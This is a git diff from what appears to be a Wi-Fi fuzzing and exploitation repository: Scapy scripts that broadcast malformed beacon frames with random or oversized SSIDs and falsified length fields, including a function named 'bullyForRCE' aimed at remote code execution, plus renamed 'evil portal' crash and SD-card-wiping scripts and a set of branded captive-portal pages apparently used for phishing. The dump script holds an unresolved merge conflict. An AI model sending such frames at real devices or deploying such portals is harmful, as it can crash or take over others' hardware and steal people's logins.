diff --git a/.gitignore b/.gitignore index d8c5b65..918db1b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ private-notes.txt boofuzz -old \ No newline at end of file +old +imgs diff --git a/evill-portal/evil-portal-crash b/evil-portal/evil-portal-crash similarity index 100% rename from evill-portal/evil-portal-crash rename to evil-portal/evil-portal-crash diff --git a/evill-portal/evil-portal-crash.py b/evil-portal/evil-portal-crash.py similarity index 100% rename from evill-portal/evil-portal-crash.py rename to evil-portal/evil-portal-crash.py diff --git a/evill-portal/evil-portal-sd-ruin b/evil-portal/evil-portal-sd-ruin similarity index 100% rename from evill-portal/evil-portal-sd-ruin rename to evil-portal/evil-portal-sd-ruin diff --git a/evill-portal/hex-chars-fuzzing.py b/evil-portal/hex-chars-fuzzing.py similarity index 100% rename from evill-portal/hex-chars-fuzzing.py rename to evil-portal/hex-chars-fuzzing.py diff --git a/evill-portal/hex-sniper-rifle.py b/evil-portal/hex-sniper-rifle.py similarity index 100% rename from evill-portal/hex-sniper-rifle.py rename to evil-portal/hex-sniper-rifle.py diff --git a/evill-portal/incremental-buff-overrun.py b/evil-portal/incremental-buff-overrun.py similarity index 100% rename from evill-portal/incremental-buff-overrun.py rename to evil-portal/incremental-buff-overrun.py diff --git a/evill-portal/sd-card-murder b/evil-portal/sd-card-murder similarity index 100% rename from evill-portal/sd-card-murder rename to evil-portal/sd-card-murder diff --git a/evill-portal/sd-card-murder.py b/evil-portal/sd-card-murder.py similarity index 100% rename from evill-portal/sd-card-murder.py rename to evil-portal/sd-card-murder.py diff --git a/scapy/wifi-beacon-fuzz.py b/scapy/wifi-beacon-fuzz.py index 74751ff..de09559 100644 --- a/scapy/wifi-beacon-fuzz.py +++ b/scapy/wifi-beacon-fuzz.py @@ -75,6 +75,39 @@ def sendRandBytesBeaconsRaw( print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}") sendProbeRaw(SSID, repeat, interval, listedLen) + + #sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15) #sendRandBytesBeacons(100, 20, 5, 0.1) -sendFuzzBeacons() + + +def fullFuzz( + numOfBeacons=200, + repeat=3, + interval=0.150): + + for i in range(numOfBeacons): + realLenSSID = random.randint(0,255) + SSID = random.randbytes(realLenSSID) + urlEncoded = urllib.parse.quote(SSID) + fakeLenSSID = random.randint(0,255) + senderMAC = RandMAC() + + dot11 = Dot11(type=0, subtype=8, + addr1='ff:ff:ff:ff:ff:ff', + addr2=senderMAC, + addr3=senderMAC) + + beacon = Dot11Beacon() + + essid = Dot11Elt(ID='SSID', + info=SSID, + len=fakeLenSSID) + + frame = RadioTap()/dot11/beacon/essid + + print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n") + + sendp(frame, iface=iface, inter=interval, count=repeat) + +fullFuzz() \ No newline at end of file diff --git a/scapy/wifi-beacon-random-byte.py b/scapy/wifi-beacon-random-byte.py index 323c6cb..70b9bdc 100644 --- a/scapy/wifi-beacon-random-byte.py +++ b/scapy/wifi-beacon-random-byte.py @@ -15,11 +15,11 @@ def sendProbe(SSID, frame = RadioTap()/dot11/beacon/essid sendp(frame, iface=iface, inter=interval, count=repeat) -def sendProbeRaw(SSID, - repeat=1, - interval=0.200, - listedLen=255, - lenOverride=False): +def sendProbeRaw(SSID='F', + repeat=3, + interval=0.150, + listedLen=512, + lenOverride=True): dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) beacon = Dot11Beacon() @@ -41,6 +41,7 @@ def sendRandBytesBeacons(numOfBeacons=200, sendProbe(SSID, repeat, interval) def sendRandBytesBeaconsRaw( + SSID='I-am-your-pony-waifu', numOfBeacons=200, lenOfSSIDs=255, listedLen=255, @@ -49,16 +50,81 @@ def sendRandBytesBeaconsRaw( interval=0.2): for i in range(numOfBeacons): - SSID = randbytes(lenOfSSIDs) + #SSID = randbytes(lenOfSSIDs) urlEncoded = urllib.parse.quote(SSID) print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}") sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei) -sendRandBytesBeaconsRaw(numOfBeacons=200, - lenOfSSIDs=2, - listedLen=1, - lenOverridei=True, +def overloadParamBeacon(max=10000, repeat=3, - interval=0.1) + chari = "X", + interval=0.2, + listedLen=1): + for i in range(max): + num = i+1000 + SSIDI = chari*num + SSID = f"{num}{SSIDI}" + + dot11 = Dot11(type=0, + subtype=8, + addr1='ff:ff:ff:ff:ff:ff', + addr2=sender, + addr3=sender) + + beacon = Dot11Beacon() + + essid = Dot11Elt(ID='SSID', + info=RawVal(SSID), + len=listedLen) + + frame = RadioTap()/dot11/beacon/essid + + print(f"\nSending {num}{chari}*{num} as SSID With Length Of {listedLen}") + sendp(frame, iface=iface, inter=interval, count=repeat) + +#overloadParamBeacon() + + + +#$sendRandBytesBeaconsRaw( +# SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU", +# numOfBeacons=200, +# lenOfSSIDs=2, +# listedLen=1, +# lenOverridei=True, +# repeat=3, +# interval=0.1) + +def bullyForRCE(max=10000, + repeat=3, + chari = "\xff", + interval=0.2, + listedLen=255): + + for i in range(max): + chars = chari*i + #SSID = f"n-{i}-YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU{chars}\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU" + SSID = f"n{chars}" + urlEncoded = urllib.parse.quote(SSID) + + dot11 = Dot11(type=0, + subtype=8, + addr1='ff:ff:ff:ff:ff:ff', + addr2=sender, + addr3=sender) + + beacon = Dot11Beacon() + + essid = Dot11Elt(ID='SSID', + info=RawVal(SSID), + len=listedLen) + + frame = RadioTap()/dot11/beacon/essid + + print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}") + sendp(frame, iface=iface, inter=interval, count=repeat) + +sendProbeRaw(repeat=300) +#bullyForRCE() #sendRandBytesBeacons(100, 20, 5, 0.1) diff --git a/scapy/wifi-beacon-scapy.py b/scapy/wifi-beacon-scapy.py index fcf571d..0d93b45 100644 --- a/scapy/wifi-beacon-scapy.py +++ b/scapy/wifi-beacon-scapy.py @@ -25,5 +25,6 @@ def beacon_normie(SSID): #longgg = "\xFF"*800 #longggg = f"\x00{longgg}\x00" #beacon_raw(longggg) -SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x0AI-AM-YOUR-PONY-WAIFU" +#SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU\x0a\x00\xc6\x54\x00" +SSID = b"YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU\x0a\x00\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU" beacon_raw(SSID) diff --git a/wifi-beacon-scapy.py b/scapy/wifi-beacon-scapy2.py similarity index 100% rename from wifi-beacon-scapy.py rename to scapy/wifi-beacon-scapy2.py diff --git a/sd-card-helpers/dump-script b/sd-card/dump-script similarity index 66% rename from sd-card-helpers/dump-script rename to sd-card/dump-script index 2406a17..b2bd79f 100644 --- a/sd-card-helpers/dump-script +++ b/sd-card/dump-script @@ -1,9 +1,16 @@ #!/bin/bash number=0 +<<<<<<< HEAD:sd-card-helpers/dump-script tag=full-fuzz blocks=100 blocksize=1M dumpsize=100M +======= +tag=fresh +blocks=75 +blocksize=1M +dumpsize=75M +>>>>>>> 74ecdcb053840a8ffeeb1fd63d6789a9f4ef29eb:sd-card/dump-script @@ -20,4 +27,4 @@ filename="./imgs/${number}-${tag}-${dumpsize}-${timestamp}.img" echo -e "\nWriting to ${filename}" sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync -echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n" +echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n" \ No newline at end of file diff --git a/marauder_cyd_microsd/AlaskaAirline.html b/sd-card/marauder_microsd/AlaskaAirline.html similarity index 100% rename from marauder_cyd_microsd/AlaskaAirline.html rename to sd-card/marauder_microsd/AlaskaAirline.html diff --git a/marauder_cyd_microsd/Amazon.html b/sd-card/marauder_microsd/Amazon.html similarity index 100% rename from marauder_cyd_microsd/Amazon.html rename to sd-card/marauder_microsd/Amazon.html diff --git a/marauder_cyd_microsd/Better_Google_Mobile.html b/sd-card/marauder_microsd/Better_Google_Mobile.html similarity index 100% rename from marauder_cyd_microsd/Better_Google_Mobile.html rename to sd-card/marauder_microsd/Better_Google_Mobile.html diff --git a/marauder_cyd_microsd/CoxWifi.html b/sd-card/marauder_microsd/CoxWifi.html similarity index 100% rename from marauder_cyd_microsd/CoxWifi.html rename to sd-card/marauder_microsd/CoxWifi.html diff --git a/marauder_cyd_microsd/Facebook.html b/sd-card/marauder_microsd/Facebook.html similarity index 100% rename from marauder_cyd_microsd/Facebook.html rename to sd-card/marauder_microsd/Facebook.html diff --git a/marauder_cyd_microsd/FakeHack.html b/sd-card/marauder_microsd/FakeHack.html similarity index 100% rename from marauder_cyd_microsd/FakeHack.html rename to sd-card/marauder_microsd/FakeHack.html diff --git a/marauder_cyd_microsd/FakeHack2.html b/sd-card/marauder_microsd/FakeHack2.html similarity index 100% rename from marauder_cyd_microsd/FakeHack2.html rename to sd-card/marauder_microsd/FakeHack2.html diff --git a/marauder_cyd_microsd/Frequency.html b/sd-card/marauder_microsd/Frequency.html similarity index 100% rename from marauder_cyd_microsd/Frequency.html rename to sd-card/marauder_microsd/Frequency.html diff --git a/marauder_cyd_microsd/Google_Modern.html b/sd-card/marauder_microsd/Google_Modern.html similarity index 100% rename from marauder_cyd_microsd/Google_Modern.html rename to sd-card/marauder_microsd/Google_Modern.html diff --git a/marauder_cyd_microsd/Jet_Blue.html b/sd-card/marauder_microsd/Jet_Blue.html similarity index 100% rename from marauder_cyd_microsd/Jet_Blue.html rename to sd-card/marauder_microsd/Jet_Blue.html diff --git a/marauder_cyd_microsd/Matrix.html b/sd-card/marauder_microsd/Matrix.html similarity index 100% rename from marauder_cyd_microsd/Matrix.html rename to sd-card/marauder_microsd/Matrix.html diff --git a/marauder_cyd_microsd/Microsoft.html b/sd-card/marauder_microsd/Microsoft.html similarity index 100% rename from marauder_cyd_microsd/Microsoft.html rename to sd-card/marauder_microsd/Microsoft.html diff --git a/marauder_cyd_microsd/Prank_Game.html b/sd-card/marauder_microsd/Prank_Game.html similarity index 100% rename from marauder_cyd_microsd/Prank_Game.html rename to sd-card/marauder_microsd/Prank_Game.html diff --git a/marauder_cyd_microsd/Spectrum.html b/sd-card/marauder_microsd/Spectrum.html similarity index 100% rename from marauder_cyd_microsd/Spectrum.html rename to sd-card/marauder_microsd/Spectrum.html diff --git a/marauder_cyd_microsd/SpiritAirlines.html b/sd-card/marauder_microsd/SpiritAirlines.html similarity index 100% rename from marauder_cyd_microsd/SpiritAirlines.html rename to sd-card/marauder_microsd/SpiritAirlines.html diff --git a/marauder_cyd_microsd/Starlink.html b/sd-card/marauder_microsd/Starlink.html similarity index 100% rename from marauder_cyd_microsd/Starlink.html rename to sd-card/marauder_microsd/Starlink.html diff --git a/marauder_cyd_microsd/T_Mobile.html b/sd-card/marauder_microsd/T_Mobile.html similarity index 100% rename from marauder_cyd_microsd/T_Mobile.html rename to sd-card/marauder_microsd/T_Mobile.html diff --git a/marauder_cyd_microsd/Twitch.html b/sd-card/marauder_microsd/Twitch.html similarity index 100% rename from marauder_cyd_microsd/Twitch.html rename to sd-card/marauder_microsd/Twitch.html diff --git a/marauder_cyd_microsd/Twitter.html b/sd-card/marauder_microsd/Twitter.html similarity index 100% rename from marauder_cyd_microsd/Twitter.html rename to sd-card/marauder_microsd/Twitter.html diff --git a/marauder_cyd_microsd/Verizon.html b/sd-card/marauder_microsd/Verizon.html similarity index 100% rename from marauder_cyd_microsd/Verizon.html rename to sd-card/marauder_microsd/Verizon.html diff --git a/marauder_cyd_microsd/american_airline.html b/sd-card/marauder_microsd/american_airline.html similarity index 100% rename from marauder_cyd_microsd/american_airline.html rename to sd-card/marauder_microsd/american_airline.html diff --git a/marauder_cyd_microsd/ap.config.txt b/sd-card/marauder_microsd/ap.config.txt similarity index 100% rename from marauder_cyd_microsd/ap.config.txt rename to sd-card/marauder_microsd/ap.config.txt diff --git a/marauder_cyd_microsd/apple.html b/sd-card/marauder_microsd/apple.html similarity index 100% rename from marauder_cyd_microsd/apple.html rename to sd-card/marauder_microsd/apple.html diff --git a/marauder_cyd_microsd/at&t.html b/sd-card/marauder_microsd/at&t.html similarity index 100% rename from marauder_cyd_microsd/at&t.html rename to sd-card/marauder_microsd/at&t.html diff --git a/marauder_cyd_microsd/detla_airline.html b/sd-card/marauder_microsd/detla_airline.html similarity index 100% rename from marauder_cyd_microsd/detla_airline.html rename to sd-card/marauder_microsd/detla_airline.html diff --git a/marauder_cyd_microsd/index.html b/sd-card/marauder_microsd/index.html similarity index 100% rename from marauder_cyd_microsd/index.html rename to sd-card/marauder_microsd/index.html diff --git a/marauder_cyd_microsd/southwest_airline.html b/sd-card/marauder_microsd/southwest_airline.html similarity index 100% rename from marauder_cyd_microsd/southwest_airline.html rename to sd-card/marauder_microsd/southwest_airline.html diff --git a/marauder_cyd_microsd/united_airline.html b/sd-card/marauder_microsd/united_airline.html similarity index 100% rename from marauder_cyd_microsd/united_airline.html rename to sd-card/marauder_microsd/united_airline.html diff --git a/sd-card-helpers/mount-marauder-sd b/sd-card/mount-marauder-sd old mode 100644 new mode 100755 similarity index 100% rename from sd-card-helpers/mount-marauder-sd rename to sd-card/mount-marauder-sd diff --git a/sd-card-helpers/umount-marauder-sd b/sd-card/umount-marauder-sd old mode 100644 new mode 100755 similarity index 100% rename from sd-card-helpers/umount-marauder-sd rename to sd-card/umount-marauder-sd diff --git a/sd-card-helpers/zero-recreate-sd b/sd-card/zero-recreate-sd old mode 100644 new mode 100755 similarity index 100% rename from sd-card-helpers/zero-recreate-sd rename to sd-card/zero-recreate-sd